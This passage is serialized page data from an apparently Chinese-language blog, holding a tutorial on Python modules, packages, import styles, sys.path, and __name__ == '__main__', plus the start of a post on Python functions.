",{"type":18,"tag":74,"props":90816,"children":90818},{"className":90817},[],[90819],{"type":24,"value":90820},"sys",{"type":24,"value":29182},{"type":18,"tag":74,"props":90823,"children":90825},{"className":90824},[],[90826],{"type":24,"value":63147},{"type":24,"value":90828}," 变量中，可以通过下述代码查询代码：",{"type":18,"tag":287,"props":90830,"children":90832},{"code":90831,"language":28712,"meta":8,"className":28710,"style":8},"import sys\nprint(sys.path)\n",[90833],{"type":18,"tag":74,"props":90834,"children":90835},{"__ignoreMap":8},[90836,90843],{"type":18,"tag":297,"props":90837,"children":90838},{"class":299,"line":300},[90839],{"type":18,"tag":297,"props":90840,"children":90841},{},[90842],{"type":24,"value":32723},{"type":18,"tag":297,"props":90844,"children":90845},{"class":299,"line":657},[90846],{"type":18,"tag":297,"props":90847,"children":90848},{},[90849],{"type":24,"value":90850},"print(sys.path)\n",{"type":18,"tag":34,"props":90852,"children":90853},{},[90854],{"type":18,"tag":105,"props":90855,"children":90856},{},[90857,90859,90864],{"type":24,"value":90858},"三种将指定目录添加到 ",{"type":18,"tag":74,"props":90860,"children":90862},{"className":90861},[],[90863],{"type":24,"value":63147},{"type":24,"value":90865}," 的方式",{"type":18,"tag":34,"props":90867,"children":90868},{},[90869],{"type":18,"tag":105,"props":90870,"children":90871},{},[90872],{"type":24,"value":90873},"1. 临时添加",{"type":18,"tag":34,"props":90875,"children":90876},{},[90877,90879,90885,90887,90892],{"type":24,"value":90878},"临时添加表示在导入模块的Python文件中进行添加。例如要将 ",{"type":18,"tag":74,"props":90880,"children":90882},{"className":90881},[],[90883],{"type":24,"value":90884},"D:\u002Fprogram\u002Fpython\u002Fcode",{"type":24,"value":90886}," 目录添加到 ",{"type":18,"tag":74,"props":90888,"children":90890},{"className":90889},[],[90891],{"type":24,"value":63147},{"type":24,"value":90893}," 中，可以使用如下代码：",{"type":18,"tag":287,"props":90895,"children":90897},{"code":90896,"language":28712,"meta":8,"className":28710,"style":8},"import sys\nsys.path.addend('D:\u002Fprogram\u002Fpython\u002Fcode')\n",[90898],{"type":18,"tag":74,"props":90899,"children":90900},{"__ignoreMap":8},[90901,90908],{"type":18,"tag":297,"props":90902,"children":90903},{"class":299,"line":300},[90904],{"type":18,"tag":297,"props":90905,"children":90906},{},[90907],{"type":24,"value":32723},{"type":18,"tag":297,"props":90909,"children":90910},{"class":299,"line":657},[90911],{"type":18,"tag":297,"props":90912,"children":90913},{},[90914],{"type":24,"value":90915},"sys.path.addend('D:\u002Fprogram\u002Fpython\u002Fcode')\n",{"type":18,"tag":96,"props":90917,"children":90918},{},[90919],{"type":18,"tag":34,"props":90920,"children":90921},{},[90922],{"type":24,"value":90923},"通过该方法添加的目录只在执行当前文件的窗口中有效，窗口关闭后即失效。",{"type":18,"tag":34,"props":90925,"children":90926},{},[90927],{"type":18,"tag":105,"props":90928,"children":90929},{},[90930,90932,90938],{"type":24,"value":90931},"2. 增加 ",{"type":18,"tag":74,"props":90933,"children":90935},{"className":90934},[],[90936],{"type":24,"value":90937},".pth",{"type":24,"value":90939}," 文件",{"type":18,"tag":34,"props":90941,"children":90942},{},[90943,90945,90951,90953,90958,90960,90965,90967,90972],{"type":24,"value":90944},"在Python安装目录下的 ",{"type":18,"tag":74,"props":90946,"children":90948},{"className":90947},[],[90949],{"type":24,"value":90950},"Lib\\site-packages",{"type":24,"value":90952}," 子目录中，创建一个扩展名为 ",{"type":18,"tag":74,"props":90954,"children":90956},{"className":90955},[],[90957],{"type":24,"value":90937},{"type":24,"value":90959}," 的文件，文件名任意，在该文件中添加需要导入模块所在的目录，例如要将 ",{"type":18,"tag":74,"props":90961,"children":90963},{"className":90962},[],[90964],{"type":24,"value":90884},{"type":24,"value":90966}," 目录导入 ",{"type":18,"tag":74,"props":90968,"children":90970},{"className":90969},[],[90971],{"type":24,"value":90937},{"type":24,"value":90973}," 文件，则只需在该文件中添加目录：",{"type":18,"tag":287,"props":90975,"children":90978},{"code":90976,"language":89435,"meta":8,"className":90977,"style":8},"D:\u002Fprogram\u002Fpython\u002Fcode\n","language-path shiki shiki-themes github-dark",[90979],{"type":18,"tag":74,"props":90980,"children":90981},{"__ignoreMap":8},[90982],{"type":18,"tag":297,"props":90983,"children":90984},{"class":299,"line":300},[90985],{"type":18,"tag":297,"props":90986,"children":90987},{},[90988],{"type":24,"value":90976},{"type":18,"tag":96,"props":90990,"children":90991},{},[90992],{"type":18,"tag":34,"props":90993,"children":90994},{},[90995,90996,91001],{"type":24,"value":1935},{"type":18,"tag":74,"props":90997,"children":90999},{"className":90998},[],[91000],{"type":24,"value":90937},{"type":24,"value":91002}," 文件后，需要重新打开要执行的导入模块的Python文件，否则新添加的目录不起作用，该方法添加的目录只在当前版本的Python中有效。",{"type":18,"tag":34,"props":91004,"children":91005},{},[91006],{"type":18,"tag":105,"props":91007,"children":91008},{},[91009],{"type":24,"value":91010},"3. 在PYTHONPATH环境变量中添加",{"type":18,"tag":34,"props":91012,"children":91013},{},[91014,91016,91022,91024,91030,91032,91038],{"type":24,"value":91015},"在电脑上找到 ",{"type":18,"tag":74,"props":91017,"children":91019},{"className":91018},[],[91020],{"type":24,"value":91021},"环境变量",{"type":24,"value":91023}," 进入，若在环境变量的列表中未发现 ",{"type":18,"tag":74,"props":91025,"children":91027},{"className":91026},[],[91028],{"type":24,"value":91029},"PYTHONPATH",{"type":24,"value":91031}," ，则需要自己创建一个，否则可以直接打开该变量，在编辑该变量的变量值，目录之间使用 ",{"type":18,"tag":74,"props":91033,"children":91035},{"className":91034},[],[91036],{"type":24,"value":91037},";",{"type":24,"value":91039}," 间隔。如下所示：",{"type":18,"tag":34,"props":91041,"children":91042},{},[91043],{"type":18,"tag":54,"props":91044,"children":91047},{"alt":91045,"src":91046},"Pasted image 20250712145702","\u002Fimages\u002Fblog\u002Fpython-basics\u002FPasted%20image%2020250712145702.png",[],{"type":18,"tag":96,"props":91049,"children":91050},{},[91051],{"type":18,"tag":34,"props":91052,"children":91053},{},[91054],{"type":24,"value":91055},"在环境变量中添加模块目录后，需要重新打开要执行的导入模块的Python文件，否则新添加的目录不起作用，该方法可以同时适用于多个Python版本。",{"type":18,"tag":27,"props":91057,"children":91059},{"id":91058},"python中的包",[91060],{"type":24,"value":91061},"Python中的包",{"type":18,"tag":34,"props":91063,"children":91064},{},[91065],{"type":24,"value":91066},"包（package）：包是一个分层次的目录结构，它将一组功能相近的模块组织在一个目录下，这样既可以起到规范代码的作用，又能避免模块名重名引起的冲突。",{"type":18,"tag":96,"props":91068,"children":91069},{},[91070],{"type":18,"tag":34,"props":91071,"children":91072},{},[91073,91075,91081],{"type":24,"value":91074},"包简单理解为文件夹，只不过在该文件夹下必须存在一个名称为 ",{"type":18,"tag":74,"props":91076,"children":91078},{"className":91077},[],[91079],{"type":24,"value":91080},"__init__.py",{"type":24,"value":91082}," 的文件",{"type":18,"tag":337,"props":91084,"children":91086},{"id":91085},"python程序的包结构",[91087],{"type":24,"value":91088},"Python程序的包结构",{"type":18,"tag":34,"props":91090,"children":91091},{},[91092],{"type":24,"value":91093},"在实际项目开发中，通常情况下会创建多个包用于存储不同类的文件。例如在开发一个网站时，可以创建如下所示包结构：",{"type":18,"tag":287,"props":91095,"children":91097},{"code":91096},"项目名shop\n   │\n   ├── admin（用于保存后台文件的包）  \n   │     |\n   |     └──—__init__.py  forms.py  views.py\n   |\n   └── home（用于保存前台文件的包）  \n   |     │\n   |     └── __init__.py  forms.py  views.py \n   |\n   └── templates（用于保存模板文件的包）  \n   │\n   └── __init__.py  \n   │\n   └──models.py\n   |\n   |\nmanage.py(入口程序)\n",[91098],{"type":18,"tag":74,"props":91099,"children":91100},{"__ignoreMap":8},[91101],{"type":24,"value":91096},{"type":18,"tag":337,"props":91103,"children":91105},{"id":91104},"创建和使用包",[91106],{"type":24,"value":91104},{"type":18,"tag":34,"props":91108,"children":91109},{},[91110,91112,91117,91119,91124],{"type":24,"value":91111},"创建包只需两步，首先新建文件夹，然后在该文件夹中创建一个名称为 ",{"type":18,"tag":74,"props":91113,"children":91115},{"className":91114},[],[91116],{"type":24,"value":91080},{"type":24,"value":91118}," 的文件即可。在 ",{"type":18,"tag":74,"props":91120,"children":91122},{"className":91121},[],[91123],{"type":24,"value":91080},{"type":24,"value":91125}," 文件中可以不编写任何代码，在该文件夹的程序在导包时会自动执行。",{"type":18,"tag":96,"props":91127,"children":91128},{},[91129],{"type":18,"tag":34,"props":91130,"children":91131},{},[91132,91137],{"type":18,"tag":74,"props":91133,"children":91135},{"className":91134},[],[91136],{"type":24,"value":91080},{"type":24,"value":91138}," 文件是一个模块文件，模块名为对应的包名",{"type":18,"tag":34,"props":91140,"children":91141},{},[91142,91144,91149,91151,91156,91158,91164,91166,91172,91174,91179],{"type":24,"value":91143},"创建包后，就可以在包中创建相应的模块了。然后使用",{"type":18,"tag":74,"props":91145,"children":91147},{"className":91146},[],[91148],{"type":24,"value":90492},{"type":24,"value":91150},"语句从包中加载模块。通常由三种方式可以从包中加载模块，例如需要调用",{"type":18,"tag":74,"props":91152,"children":91154},{"className":91153},[],[91155],{"type":24,"value":89184},{"type":24,"value":91157},"包中",{"type":18,"tag":74,"props":91159,"children":91161},{"className":91160},[],[91162],{"type":24,"value":91163},"demo",{"type":24,"value":91165},"模块下的变量",{"type":18,"tag":74,"props":91167,"children":91169},{"className":91168},[],[91170],{"type":24,"value":91171},"say",{"type":24,"value":91173},"，则调用",{"type":18,"tag":74,"props":91175,"children":91177},{"className":91176},[],[91178],{"type":24,"value":91171},{"type":24,"value":91180},"的方式如下：",{"type":18,"tag":34,"props":91182,"children":91183},{},[91184,91185,91191,91193,91199],{"type":24,"value":8550},{"type":18,"tag":74,"props":91186,"children":91188},{"className":91187},[],[91189],{"type":24,"value":91190},"import 完整包名.完整模块名",{"type":24,"value":91192}," 的方式加载指定的模块，调用时必须添加前缀（即",{"type":18,"tag":74,"props":91194,"children":91196},{"className":91195},[],[91197],{"type":24,"value":91198},"完整包名.模块名",{"type":24,"value":91200}," ）",{"type":18,"tag":287,"props":91202,"children":91204},{"code":91203,"language":28712,"meta":8,"className":28710,"style":8},"import info.demo\nprint(info.demo.say)\n",[91205],{"type":18,"tag":74,"props":91206,"children":91207},{"__ignoreMap":8},[91208,91216],{"type":18,"tag":297,"props":91209,"children":91210},{"class":299,"line":300},[91211],{"type":18,"tag":297,"props":91212,"children":91213},{},[91214],{"type":24,"value":91215},"import info.demo\n",{"type":18,"tag":297,"props":91217,"children":91218},{"class":299,"line":657},[91219],{"type":18,"tag":297,"props":91220,"children":91221},{},[91222],{"type":24,"value":91223},"print(info.demo.say)\n",{"type":18,"tag":34,"props":91225,"children":91226},{},[91227,91228,91234,91236,91241],{"type":24,"value":8550},{"type":18,"tag":74,"props":91229,"children":91231},{"className":91230},[],[91232],{"type":24,"value":91233},"from 完整包名 import 模块名",{"type":24,"value":91235}," 的形式加载指定模块。调用时只需加模块名前缀（即 ",{"type":18,"tag":74,"props":91237,"children":91239},{"className":91238},[],[91240],{"type":24,"value":90492},{"type":24,"value":91242}," 后面的内容）",{"type":18,"tag":287,"props":91244,"children":91246},{"code":91245,"language":28712,"meta":8,"className":28710,"style":8},"from info import demo\nprint(demo.say)\n",[91247],{"type":18,"tag":74,"props":91248,"children":91249},{"__ignoreMap":8},[91250,91258],{"type":18,"tag":297,"props":91251,"children":91252},{"class":299,"line":300},[91253],{"type":18,"tag":297,"props":91254,"children":91255},{},[91256],{"type":24,"value":91257},"from info import demo\n",{"type":18,"tag":297,"props":91259,"children":91260},{"class":299,"line":657},[91261],{"type":18,"tag":297,"props":91262,"children":91263},{},[91264],{"type":24,"value":91265},"print(demo.say)\n",{"type":18,"tag":34,"props":91267,"children":91268},{},[91269,91270,91276,91278,91283],{"type":24,"value":8550},{"type":18,"tag":74,"props":91271,"children":91273},{"className":91272},[],[91274],{"type":24,"value":91275},"from 完整包名.模块名 import 定义名",{"type":24,"value":91277}," 的形式加载指定的模块。可直接调用函数，可导入多个定义名，定义名与定义名之间以 ",{"type":18,"tag":74,"props":91279,"children":91281},{"className":91280},[],[91282],{"type":24,"value":17444},{"type":24,"value":91284}," 间隔",{"type":18,"tag":287,"props":91286,"children":91288},{"code":91287,"language":28712,"meta":8,"className":28710,"style":8},"from info.dmeo import sys\nprint(say)\n",[91289],{"type":18,"tag":74,"props":91290,"children":91291},{"__ignoreMap":8},[91292,91300],{"type":18,"tag":297,"props":91293,"children":91294},{"class":299,"line":300},[91295],{"type":18,"tag":297,"props":91296,"children":91297},{},[91298],{"type":24,"value":91299},"from info.dmeo import sys\n",{"type":18,"tag":297,"props":91301,"children":91302},{"class":299,"line":657},[91303],{"type":18,"tag":297,"props":91304,"children":91305},{},[91306],{"type":24,"value":91307},"print(say)\n",{"type":18,"tag":96,"props":91309,"children":91310},{},[91311],{"type":18,"tag":34,"props":91312,"children":91313},{},[91314,91316,91322,91324,91329,91331,91337],{"type":24,"value":91315},"在通过 ",{"type":18,"tag":74,"props":91317,"children":91319},{"className":91318},[],[91320],{"type":24,"value":91321},"from 包名.模块名 import 定义名",{"type":24,"value":91323}," 的形式加载指定模块时，可以使用",{"type":18,"tag":74,"props":91325,"children":91327},{"className":91326},[],[91328],{"type":24,"value":31597},{"type":24,"value":91330},"代替定义名，表示加载该模块中的不以下划线 ",{"type":18,"tag":74,"props":91332,"children":91334},{"className":91333},[],[91335],{"type":24,"value":91336},"_",{"type":24,"value":91338}," 开头的定义。",{"type":18,"tag":27,"props":91340,"children":91342},{"id":91341},"以主程序的形式执行",[91343],{"type":24,"value":91341},{"type":18,"tag":34,"props":91345,"children":91346},{},[91347,91349,91355,91357,91362,91364,91369],{"type":24,"value":91348},"在每个模块的定义中都包括一个记录模块名称的变量 ",{"type":18,"tag":74,"props":91350,"children":91352},{"className":91351},[],[91353],{"type":24,"value":91354},"__name__",{"type":24,"value":91356},"，程序可以检查该变量，以确定它们在哪个模块中被执行。如果一个模块不是被导入其他程序中执行，那么它们可能在解释器的顶级模块中被执行。顶级模块的",{"type":18,"tag":74,"props":91358,"children":91360},{"className":91359},[],[91361],{"type":24,"value":91354},{"type":24,"value":91363}," 变量的值为 ",{"type":18,"tag":74,"props":91365,"children":91367},{"className":91366},[],[91368],{"type":24,"value":70277},{"type":24,"value":91370},"，如下示例：",{"type":18,"tag":34,"props":91372,"children":91373},{},[91374,91376,91381],{"type":24,"value":91375},"定义一个需要被调用的模块",{"type":18,"tag":74,"props":91377,"children":91379},{"className":91378},[],[91380],{"type":24,"value":89184},{"type":24,"value":222},{"type":18,"tag":287,"props":91383,"children":91385},{"code":91384,"language":28712,"meta":8,"className":28710,"style":8},"def func():\n    print(\"hello world!\")\nprint(\"接下来调试一下代码\")\nfunc()\n",[91386],{"type":18,"tag":74,"props":91387,"children":91388},{"__ignoreMap":8},[91389,91397,91405,91413],{"type":18,"tag":297,"props":91390,"children":91391},{"class":299,"line":300},[91392],{"type":18,"tag":297,"props":91393,"children":91394},{},[91395],{"type":24,"value":91396},"def func():\n",{"type":18,"tag":297,"props":91398,"children":91399},{"class":299,"line":657},[91400],{"type":18,"tag":297,"props":91401,"children":91402},{},[91403],{"type":24,"value":91404},"    print(\"hello world!\")\n",{"type":18,"tag":297,"props":91406,"children":91407},{"class":299,"line":662},[91408],{"type":18,"tag":297,"props":91409,"children":91410},{},[91411],{"type":24,"value":91412},"print(\"接下来调试一下代码\")\n",{"type":18,"tag":297,"props":91414,"children":91415},{"class":299,"line":799},[91416],{"type":18,"tag":297,"props":91417,"children":91418},{},[91419],{"type":24,"value":91420},"func()\n",{"type":18,"tag":34,"props":91422,"children":91423},{},[91424],{"type":24,"value":91425},"当我在其他程序中调用此模块时，发现与预期不符：",{"type":18,"tag":287,"props":91427,"children":91429},{"code":91428,"language":28712,"meta":8,"className":28710,"style":8},"import info\nprint(\"调用模块函数：\",info.func())\n\"\"\"\n执行结果为：\n接下来调试一下代码\nhello world!\n调用模块函数：hello world!\n\"\"\"\n",[91430],{"type":18,"tag":74,"props":91431,"children":91432},{"__ignoreMap":8},[91433,91441,91449,91456,91464,91472,91480,91488],{"type":18,"tag":297,"props":91434,"children":91435},{"class":299,"line":300},[91436],{"type":18,"tag":297,"props":91437,"children":91438},{},[91439],{"type":24,"value":91440},"import info\n",{"type":18,"tag":297,"props":91442,"children":91443},{"class":299,"line":657},[91444],{"type":18,"tag":297,"props":91445,"children":91446},{},[91447],{"type":24,"value":91448},"print(\"调用模块函数：\",info.func())\n",{"type":18,"tag":297,"props":91450,"children":91451},{"class":299,"line":662},[91452],{"type":18,"tag":297,"props":91453,"children":91454},{},[91455],{"type":24,"value":64687},{"type":18,"tag":297,"props":91457,"children":91458},{"class":299,"line":799},[91459],{"type":18,"tag":297,"props":91460,"children":91461},{},[91462],{"type":24,"value":91463},"执行结果为：\n",{"type":18,"tag":297,"props":91465,"children":91466},{"class":299,"line":808},[91467],{"type":18,"tag":297,"props":91468,"children":91469},{},[91470],{"type":24,"value":91471},"接下来调试一下代码\n",{"type":18,"tag":297,"props":91473,"children":91474},{"class":299,"line":817},[91475],{"type":18,"tag":297,"props":91476,"children":91477},{},[91478],{"type":24,"value":91479},"hello world!\n",{"type":18,"tag":297,"props":91481,"children":91482},{"class":299,"line":826},[91483],{"type":18,"tag":297,"props":91484,"children":91485},{},[91486],{"type":24,"value":91487},"调用模块函数：hello world!\n",{"type":18,"tag":297,"props":91489,"children":91490},{"class":299,"line":4524},[91491],{"type":18,"tag":297,"props":91492,"children":91493},{},[91494],{"type":24,"value":64687},{"type":18,"tag":34,"props":91496,"children":91497},{},[91498],{"type":24,"value":91499},"这是我们只需修改模块代码，将其设置为以主程序形式执行即可，修改如下：",{"type":18,"tag":287,"props":91501,"children":91503},{"code":91502,"language":28712,"meta":8,"className":28710,"style":8},"def func():\n    print(\"hello world!\")\nif __name__ == '__main__':\n    print(\"接下来调试一下代码\")\n    func()\n",[91504],{"type":18,"tag":74,"props":91505,"children":91506},{"__ignoreMap":8},[91507,91514,91521,91528,91536],{"type":18,"tag":297,"props":91508,"children":91509},{"class":299,"line":300},[91510],{"type":18,"tag":297,"props":91511,"children":91512},{},[91513],{"type":24,"value":91396},{"type":18,"tag":297,"props":91515,"children":91516},{"class":299,"line":657},[91517],{"type":18,"tag":297,"props":91518,"children":91519},{},[91520],{"type":24,"value":91404},{"type":18,"tag":297,"props":91522,"children":91523},{"class":299,"line":662},[91524],{"type":18,"tag":297,"props":91525,"children":91526},{},[91527],{"type":24,"value":41040},{"type":18,"tag":297,"props":91529,"children":91530},{"class":299,"line":799},[91531],{"type":18,"tag":297,"props":91532,"children":91533},{},[91534],{"type":24,"value":91535},"    print(\"接下来调试一下代码\")\n",{"type":18,"tag":297,"props":91537,"children":91538},{"class":299,"line":808},[91539],{"type":18,"tag":297,"props":91540,"children":91541},{},[91542],{"type":24,"value":91543},"    func()\n",{"type":18,"tag":27,"props":91545,"children":91547},{"id":91546},"引用其他模块",[91548],{"type":24,"value":91546},{"type":18,"tag":34,"props":91550,"children":91551},{},[91552,91554],{"type":24,"value":91553},"Python安装路径下的Doc目录内的html文件夹是对Python的使用帮助文档。\nPython第三方模块官网   ",{"type":18,"tag":43,"props":91555,"children":91558},{"href":91556,"rel":91557},"http:\u002F\u002Fpypi.python.org\u002Fpypi",[47],[91559],{"type":24,"value":91560},"点击访问",{"type":18,"tag":34,"props":91562,"children":91563},{},[91564],{"type":24,"value":91565},"安装和卸载第三方模块的命令：",{"type":18,"tag":287,"props":91567,"children":91569},{"code":91568,"language":33404,"meta":8,"className":33402,"style":8},"pip install 模块名[=版本]     # 安装\npip uninstall 模块名[=版本]   # 卸载\npip list                     # 查看已安装列表\n",[91570],{"type":18,"tag":74,"props":91571,"children":91572},{"__ignoreMap":8},[91573,91594,91615],{"type":18,"tag":297,"props":91574,"children":91575},{"class":299,"line":300},[91576,91580,91584,91589],{"type":18,"tag":297,"props":91577,"children":91578},{"style":304},[91579],{"type":24,"value":28691},{"type":18,"tag":297,"props":91581,"children":91582},{"style":310},[91583],{"type":24,"value":28696},{"type":18,"tag":297,"props":91585,"children":91586},{"style":310},[91587],{"type":24,"value":91588}," 模块名[=版本]",{"type":18,"tag":297,"props":91590,"children":91591},{"style":5380},[91592],{"type":24,"value":91593},"     # 安装\n",{"type":18,"tag":297,"props":91595,"children":91596},{"class":299,"line":657},[91597,91601,91606,91610],{"type":18,"tag":297,"props":91598,"children":91599},{"style":304},[91600],{"type":24,"value":28691},{"type":18,"tag":297,"props":91602,"children":91603},{"style":310},[91604],{"type":24,"value":91605}," uninstall",{"type":18,"tag":297,"props":91607,"children":91608},{"style":310},[91609],{"type":24,"value":91588},{"type":18,"tag":297,"props":91611,"children":91612},{"style":5380},[91613],{"type":24,"value":91614},"   # 卸载\n",{"type":18,"tag":297,"props":91616,"children":91617},{"class":299,"line":662},[91618,91622,91627],{"type":18,"tag":297,"props":91619,"children":91620},{"style":304},[91621],{"type":24,"value":28691},{"type":18,"tag":297,"props":91623,"children":91624},{"style":310},[91625],{"type":24,"value":91626}," list",{"type":18,"tag":297,"props":91628,"children":91629},{"style":5380},[91630],{"type":24,"value":91631},"                     # 查看已安装列表\n",{"type":18,"tag":34,"props":91633,"children":91634},{},[91635],{"type":24,"value":91636},"模块导入时的顺序推荐：",{"type":18,"tag":154,"props":91638,"children":91639},{},[91640,91645,91650],{"type":18,"tag":158,"props":91641,"children":91642},{},[91643],{"type":24,"value":91644},"导入Python提供的标准模块",{"type":18,"tag":158,"props":91646,"children":91647},{},[91648],{"type":24,"value":91649},"导入第三方模块",{"type":18,"tag":158,"props":91651,"children":91652},{},[91653],{"type":24,"value":91654},"导入自定义模块",{"type":18,"tag":651,"props":91656,"children":91657},{},[91658],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":91660},[91661,91662,91663,91664,91665],{"id":90397,"depth":662,"text":90397},{"id":90414,"depth":662,"text":90414},{"id":91058,"depth":662,"text":91061},{"id":91341,"depth":662,"text":91341},{"id":91546,"depth":662,"text":91546},"content:blog:2025-07-08-python-模块.md","blog\u002F2025-07-08-python-模块.md","blog\u002F2025-07-08-python-模块",{"_path":91670,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":91671,"description":91672,"date":91673,"tags":91674,"body":91675,"_type":672,"_id":92873,"_source":674,"_file":92874,"_stem":92875,"_extension":677},"\u002Fblog\u002F2025-07-07-python","Python-函数","Python函数详解：定义、参数类型、返回值、lambda表达式与装饰器入门。","2025-07-07",[28616,75509],{"type":15,"children":91676,"toc":92866},[91677,91680,91685,91690,91708,91753,91828,91836,91857,91932,91937,91942,91956,91987,91992,91997,92014,92022,92027,92044,92054,92074,92079,92132,92137,92200,92205,92210,92224,92232,92237,92242,92292,92319,92350,92372,92377,92382,92407,92425,92448,92466,92528,92533,92547,92552,92560,92565,92570,92593,92598,92606,92621,92626,92645,92722,92727,92732,92737,92742,92755,92769,92777,92781,92794,92808,92849,92862],{"type":18,"tag":121,"props":91678,"children":91679},{},[],{"type":18,"tag":27,"props":91681,"children":91683},{"id":91682},"函数的创建和调用",[91684],{"type":24,"value":91682},{"type":18,"tag":337,"props":91686,"children":91688},{"id":91687},"创建一个函数",[91689],{"type":24,"value":91687},{"type":18,"tag":34,"props":91691,"children":91692},{},[91693,91698,91700,91706],{"type":18,"tag":105,"props":91694,"children":91695},{},[91696],{"type":24,"value":91697},"创建函数",{"type":24,"value":91699},"也称定义函数，可以理解为创建一个具有某种用途的工具，Python中使用 ",{"type":18,"tag":74,"props":91701,"children":91703},{"className":91702},[],[91704],{"type":24,"value":91705},"def",{"type":24,"value":91707}," 关键字来定义函数，具体语法如下：",{"type":18,"tag":287,"props":91709,"children":91711},{"code":91710,"language":28712,"meta":8,"className":28710,"style":8},"def func(parameter1: type, parameter2: type = default,...) -> return_type:\n    \"\"\"\n    Docstrings\n    \"\"\"\n    func_body\n",[91712],{"type":18,"tag":74,"props":91713,"children":91714},{"__ignoreMap":8},[91715,91723,91730,91738,91745],{"type":18,"tag":297,"props":91716,"children":91717},{"class":299,"line":300},[91718],{"type":18,"tag":297,"props":91719,"children":91720},{},[91721],{"type":24,"value":91722},"def func(parameter1: type, parameter2: type = default,...) -> return_type:\n",{"type":18,"tag":297,"props":91724,"children":91725},{"class":299,"line":657},[91726],{"type":18,"tag":297,"props":91727,"children":91728},{},[91729],{"type":24,"value":39824},{"type":18,"tag":297,"props":91731,"children":91732},{"class":299,"line":662},[91733],{"type":18,"tag":297,"props":91734,"children":91735},{},[91736],{"type":24,"value":91737},"    Docstrings\n",{"type":18,"tag":297,"props":91739,"children":91740},{"class":299,"line":799},[91741],{"type":18,"tag":297,"props":91742,"children":91743},{},[91744],{"type":24,"value":39824},{"type":18,"tag":297,"props":91746,"children":91747},{"class":299,"line":808},[91748],{"type":18,"tag":297,"props":91749,"children":91750},{},[91751],{"type":24,"value":91752},"    func_body\n",{"type":18,"tag":210,"props":91754,"children":91755},{},[91756,91767,91806,91817],{"type":18,"tag":158,"props":91757,"children":91758},{},[91759,91765],{"type":18,"tag":74,"props":91760,"children":91762},{"className":91761},[],[91763],{"type":24,"value":91764},"func",{"type":24,"value":91766}," ：函数名，调用函数时使用",{"type":18,"tag":158,"props":91768,"children":91769},{},[91770,91776,91778,91783,91785,91790,91792,91797,91799,91804],{"type":18,"tag":74,"props":91771,"children":91773},{"className":91772},[],[91774],{"type":24,"value":91775},"parameter",{"type":24,"value":91777}," ：可选参数，当没有参数时，必须保留 ",{"type":18,"tag":74,"props":91779,"children":91781},{"className":91780},[],[91782],{"type":24,"value":79159},{"type":24,"value":91784}," ，否则将会报错。若存在多个参数，每个参数间使用 ",{"type":18,"tag":74,"props":91786,"children":91788},{"className":91787},[],[91789],{"type":24,"value":17444},{"type":24,"value":91791}," 间隔。定义参数时可以通过 ",{"type":18,"tag":74,"props":91793,"children":91795},{"className":91794},[],[91796],{"type":24,"value":24972},{"type":24,"value":91798}," 指定参数的类型，也通过 ",{"type":18,"tag":74,"props":91800,"children":91802},{"className":91801},[],[91803],{"type":24,"value":9692},{"type":24,"value":91805}," 赋值的方式指定默认值。定义函数时的参数称之为形式参数，调用函数时传递的参数称之为实际参数。",{"type":18,"tag":158,"props":91807,"children":91808},{},[91809,91815],{"type":18,"tag":74,"props":91810,"children":91812},{"className":91811},[],[91813],{"type":24,"value":91814},"Docstrings",{"type":24,"value":91816}," ：可选参数，用于为函数指定注释，也称文档字符串，其内容通常是说明该函数的功能、要传递的参数的作用。",{"type":18,"tag":158,"props":91818,"children":91819},{},[91820,91826],{"type":18,"tag":74,"props":91821,"children":91823},{"className":91822},[],[91824],{"type":24,"value":91825},"func_body",{"type":24,"value":91827}," ：函数体内容",{"type":18,"tag":34,"props":91829,"children":91830},{},[91831],{"type":18,"tag":105,"props":91832,"children":91833},{},[91834],{"type":24,"value":91835},"如何调用函数的Docstrings",{"type":18,"tag":34,"props":91837,"children":91838},{},[91839,91841,91847,91849,91855],{"type":24,"value":91840},"在调用函数时，可以通过 ",{"type":18,"tag":74,"props":91842,"children":91844},{"className":91843},[],[91845],{"type":24,"value":91846},"func.__doc__",{"type":24,"value":91848}," 或者 ",{"type":18,"tag":74,"props":91850,"children":91852},{"className":91851},[],[91853],{"type":24,"value":91854},"help(func)",{"type":24,"value":91856}," 获取。代码示例如下：",{"type":18,"tag":287,"props":91858,"children":91860},{"code":91859,"language":28712,"meta":8,"className":28710,"style":8},"def func():\n    \"\"\"\n    此处为文档字符串\n    帮助信息\n    \"\"\"\n    pass # 若定义函数无任何动作，则需要使用pass作为点位符或添加docstrings\n\nprint(func.__doc__)\nprint(help(func))\n",[91861],{"type":18,"tag":74,"props":91862,"children":91863},{"__ignoreMap":8},[91864,91871,91878,91886,91894,91901,91909,91916,91924],{"type":18,"tag":297,"props":91865,"children":91866},{"class":299,"line":300},[91867],{"type":18,"tag":297,"props":91868,"children":91869},{},[91870],{"type":24,"value":91396},{"type":18,"tag":297,"props":91872,"children":91873},{"class":299,"line":657},[91874],{"type":18,"tag":297,"props":91875,"children":91876},{},[91877],{"type":24,"value":39824},{"type":18,"tag":297,"props":91879,"children":91880},{"class":299,"line":662},[91881],{"type":18,"tag":297,"props":91882,"children":91883},{},[91884],{"type":24,"value":91885},"    此处为文档字符串\n",{"type":18,"tag":297,"props":91887,"children":91888},{"class":299,"line":799},[91889],{"type":18,"tag":297,"props":91890,"children":91891},{},[91892],{"type":24,"value":91893},"    帮助信息\n",{"type":18,"tag":297,"props":91895,"children":91896},{"class":299,"line":808},[91897],{"type":18,"tag":297,"props":91898,"children":91899},{},[91900],{"type":24,"value":39824},{"type":18,"tag":297,"props":91902,"children":91903},{"class":299,"line":817},[91904],{"type":18,"tag":297,"props":91905,"children":91906},{},[91907],{"type":24,"value":91908},"    pass # 